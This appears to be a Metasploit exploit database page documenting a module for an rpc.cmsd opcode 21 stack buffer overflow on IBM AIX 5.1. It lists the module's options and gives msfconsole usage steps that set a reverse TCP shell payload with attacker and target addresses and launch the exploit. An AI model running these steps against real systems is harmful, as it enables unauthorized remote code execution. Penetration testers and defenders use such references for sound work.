AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow | Metasploit Exploit Database (DB)

AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow

This module exploits a buffer overflow vulnerability in opcode 21 handled by rpc.cmsd on AIX. By making a request with a long string passed to the first argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This leads to arbitrary code execution. NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where further attempts are not possible.

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Exploit Rank

  • Great

Exploit Authors

  • Rodrigo Rubira Branco (BSDaemon) < >
  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - IBM AIX Version 5.1 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/aix/rpc_cmsd_opcode21
msf exploit(rpc_cmsd_opcode21) > show payloads
msf exploit(rpc_cmsd_opcode21) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(rpc_cmsd_opcode21) > set LHOST [MY IP ADDRESS]
msf exploit(rpc_cmsd_opcode21) > set RHOST [TARGET IP]
msf exploit(rpc_cmsd_opcode21) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 111)
BruteStep Step size between brute force attempts
BruteWait Delay between brute force attempts
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
ONCRPC::tcp_request_fragmentation Enable fragmentation of TCP ONC/RPC requests
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)